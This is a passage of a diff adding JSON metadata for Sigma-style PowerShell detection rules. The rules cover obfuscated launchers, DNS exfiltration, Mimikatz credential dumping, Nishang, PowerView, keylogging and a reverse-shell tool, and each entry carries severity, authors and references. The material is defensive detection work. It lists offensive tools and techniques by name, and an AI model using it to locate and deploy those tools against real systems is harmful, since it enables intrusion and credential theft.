"posh_ps_invoke_command_remote.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.006" + ] + }, + "uuid": "7b836d7f-179c-4ba4-90a7-a7e60afb48e6", + "value": "Execute Invoke-command on Remote Host" + }, + { + "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel", + "meta": { + "author": "frack113", + "creation_date": "2022/01/07", + "falsepositive": [ + "Legitimate script" + ], + "filename": "posh_ps_invoke_dnsexfiltration.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", + "https://github.com/Arno0x/DNSExfiltrator", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ] + }, + "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355", + "value": "Powershell DNSExfiltration" + }, + { + "description": "Detects Commandlet name for PrintNightmare exploitation.", + "meta": { + "author": "Max Altgelt, Tobias Michalski", + "creation_date": "2021/08/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_nightmare.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/calebstewart/CVE-2021-1675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ] + }, + "uuid": "6d3f1399-a81c-4409-aff3-1ecfe9330baf", + "value": "PrintNightmare Powershell Exploitation" + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_clip.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "73e67340-0d25-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher" + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block \\u2014", + "meta": { + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "creation_date": "2019/11/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_obfuscated_iex.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "1b9dc62e-6e9e-42a3-8990-94d7a10007f7", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation" + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_stdin.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "779c8c12-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher" + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "meta": { + "author": "Jonathan Cheong, oscd.community", + "creation_date": "2020/10/15", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_var.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "0adfbc14-0ed1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation VAR+ Launcher" + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_compress.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "20e5497e-331c-4cd5-8d36-935f6e2a9a07", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/18", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_rundll.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e6cb92b4-b470-4eb8-8a9d-d63e8583aae0", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER" + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_stdin.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7", + "value": "Invoke-Obfuscation Via Stdin" + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_use_clip.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "db92dd33-a3ad-49cf-8c2c-608c3e30ace0", + "value": "Invoke-Obfuscation Via Use Clip" + }, + { + "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2020/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759", + "value": "Invoke-Obfuscation Via Use MSHTA" + }, + { + "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", + "meta": { + "author": "Nikita Nazarov, oscd.community", + "creation_date": "2019/10/08", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_use_rundll32.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a5a30a6e-75ca-4233-8b8c-42e0f2037d3b", + "value": "Invoke-Obfuscation Via Use Rundll32" + }, + { + "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", + "meta": { + "author": "Timur Zinniatullin, oscd.community", + "creation_date": "2020/10/13", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_invoke_obfuscation_via_var.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "e54f5149-6ba3-49cf-b153-070d24679126", + "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" + }, + { + "description": "Adversaries may log user keystrokes to intercept credentials as the user types them.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/30", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_keylogging.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" + ], + "tags": [ + "attack.collection", + "attack.t1056.001" + ] + }, + "uuid": "34f90d3c-c297-49e9-b26d-911b05a4866c", + "value": "Powershell Keylogging" + }, + { + "description": "Adversaries may manipulate accounts to maintain access to victim systems.\nAccount manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_localuser.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1098/T1098.md#atomic-test-1---admin-account-manipulate", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/?view=powershell-5.1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_localuser.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1098" + ] + }, + "uuid": "4fdc44df-bfe9-4fcc-b041-68f5a2d3031c", + "value": "Powershell LocalAccount Manipulation" + }, + { + "description": "Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/26", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_mailboxexport_share.yml", + "level": "critical", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" + ], + "tags": [ + "attack.exfiltration" + ] + }, + "uuid": "4a241dea-235b-4a7e-8d76-50d817b146c4", + "value": "Suspicious PowerShell Mailbox Export to Share - PS" + }, + { + "description": "Detects Commandlet names from well-known PowerShell exploitation frameworks", + "meta": { + "author": "Sean Metcalf (source), Florian Roth (rule), Bartlomiej Czyz @bczyz1 (update), oscd.community (update), Nasreddine Bencherchali (update), Tim Shelton (fp), Mustafa Kaan Demir (update)", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_malicious_commandlets.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", + "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "89819aa4-bbd6-46bc-88ec-c7f7fe30efa6", + "value": "Malicious PowerShell Commandlets" + }, + { + "description": "Detects keywords from well-known PowerShell exploitation frameworks", + "meta": { + "author": "Sean Metcalf (source), Florian Roth (rule)", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_malicious_keywords.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f62176f3-8128-4faa-bf6c-83261322e5eb", + "value": "Malicious PowerShell Keywords" + }, + { + "description": "Detects usage of a PowerShell command to dump the live memory of a Windows machine", + "meta": { + "author": "Max Altgelt", + "creation_date": "2021/09/21", + "falsepositive": [ + "Diagnostics" + ], + "filename": "posh_ps_memorydump_getstoragediagnosticinfo.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_memorydump_getstoragediagnosticinfo.yml" + ], + "tags": [ + "attack.t1003" + ] + }, + "uuid": "cd185561-4760-45d6-a63e-a51325112cae", + "value": "Live Memory Dump Using Powershell" + }, + { + "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Legitimate use" + ], + "filename": "posh_ps_modify_group_policy_settings.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_modify_group_policy_settings.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1484.001" + ] + }, + "uuid": "b7216a7d-687e-4c8d-82b1-3080b2ad961f", + "value": "Modify Group Policy Settings - ScriptBlockLogging" + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)\nAdversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code\n", + "meta": { + "author": "frack113, MatilJ", + "creation_date": "2022/01/19", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_msxml_com.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", + "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", + "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "78aa1347-1517-4454-9982-b338d6df8343", + "value": "Powershell MsXml COM Object" + }, + { + "description": "Detects Commandlet names and arguments from the Nishang exploitation framework", + "meta": { + "author": "Alec Costello", + "creation_date": "2019/05/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_nishang_malicious_commandlets.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/samratashok/nishang", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_nishang_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "f772cee9-b7c2-4cb2-8f07-49870adc02e0", + "value": "Malicious Nishang PowerShell Commandlets" + }, + { + "description": "Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.", + "meta": { + "author": "Sami Ruohonen", + "creation_date": "2018/07/24", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_ntfs_ads_access.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "http://www.powertheshell.com/ntfsstreams/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "8c521530-5169-495d-a199-0a3a881ad24e", + "value": "NTFS Alternate Data Stream" + }, + { + "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_office_comobject_registerxll.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137.006" + ] + }, + "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad", + "value": "Code Executed Via Office Add-in XLL File" + }, + { + "description": "Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/28", + "falsepositive": [ + "Mimikatz can be useful for testing the security of networks" + ], + "filename": "posh_ps_potential_invoke_mimikatz.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "189e3b02-82b2-4b90-9662-411eb64486d4", + "value": "Potential Invoke-Mimikatz PowerShell Script" + }, + { + "description": "Detects Commandlet names from PowerView of PowerSploit exploitation framework.", + "meta": { + "author": "Bhabesh Raj", + "creation_date": "2021/05/18", + "falsepositive": [ + "Should not be any as administrators do not use this tool" + ], + "filename": "posh_ps_powerview_malicious_commandlets.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://powersploit.readthedocs.io/en/stable/Recon/README", + "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://thedfirreport.com/2020/10/08/ryuks-return", + "https://adsecurity.org/?p=2277", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "dcd74b95-3f36-4ed9-9598-0490951643aa", + "value": "Malicious PowerView PowerShell Commandlets" + }, + { + "description": "Detects PowerShell calling a credential prompt", + "meta": { + "author": "John Lambert (idea), Florian Roth (rule)", + "creation_date": "2017/04/09", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_prompt_credentials.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/JohnLaTwC/status/850381440629981184", + "https://t.co/ezOTGy1a1G", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" + ], + "tags": [ + "attack.credential_access", + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "ca8b77a9-d499-4095-b793-5d5f330d450e", + "value": "PowerShell Credential Prompt" + }, + { + "description": "Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/04", + "falsepositive": [ + "Unlikely" + ], + "filename": "posh_ps_psasyncshell.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/JoelGMSec/PSAsyncShell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psasyncshell.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "afd3df04-948d-46f6-ae44-25966c44b97f", + "value": "PSAsyncShell - Asynchronous TCP Reverse Shell" + }, + { + "description": "Detects the use of PSAttack PowerShell hack tool", + "meta": { + "author": "Sean Metcalf (source), Florian Roth (rule)", + "creation_date": "2017/03/05", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_psattack.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_psattack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "b7ec41a4-042c-4f31-a5db-d0fcde9fa5c5", + "value": "PowerShell PSAttack" + }, + { + "description": "Adversaries may abuse PowerShell commands and scripts for execution.\nPowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/06", + "falsepositive": [ + "Legitimate administrative script" + ], + "filename": "posh_ps_remote_session_creation.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ] + }, + "uuid": "a0edd39f-a0c6-4c17-8141-261f958e8d8f", + "value": "PowerShell Remote Session Creation" + }, + { + "description": "Powershell Remove-Item with -Path to delete a file or a folder with \"-Recurse\"", + "meta": { + "author": "frack113", + "creation_date": "2022/01/15", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_remove_item_path.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ] + }, + "uuid": "b8af5f36-1361-4ebe-9e76-e36128d947bf", + "value": "Use Remove-Item to Delete File" + }, + { + "description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_request_kerberos_ticket.yml", + "level": "high", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "a861d835-af37-4930-bcd6-5b178bfb54df", + "value": "Request A Single Ticket via PowerShell" + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "meta": { + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "creation_date": "2020/10/10", + "falsepositive": [ + "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP" + ], + "filename": "posh_ps_root_certificate_installed.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ] + }, + "uuid": "42821614-9264-4761-acfc-5772c3286f76", + "value": "Root Certificate Installed" + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "meta": { + "author": "frack113", + "creation_date": "2022/02/01", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "posh_ps_run_from_mount_diskimage.yml", + "level": "medium", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ] + }, + "uuid": "902cedee-0398-4e3a-8183-6f3a89773a96", + "value": "Suspicious Invoke-Item From Mount-DiskImage" + }, + { + "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment.\nThis may include things such as firewall rules and anti-viru\n", + "meta": { + "author": "frack113", + "creation_date": "2021/12/16", + "falsepositive": [ + "Unknown" + ], + "filename": "posh_ps_security_software_discovery.yml", + "level": "low", + "logsource.category": "ps_script", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1518.001" + ] + }, + "uuid": 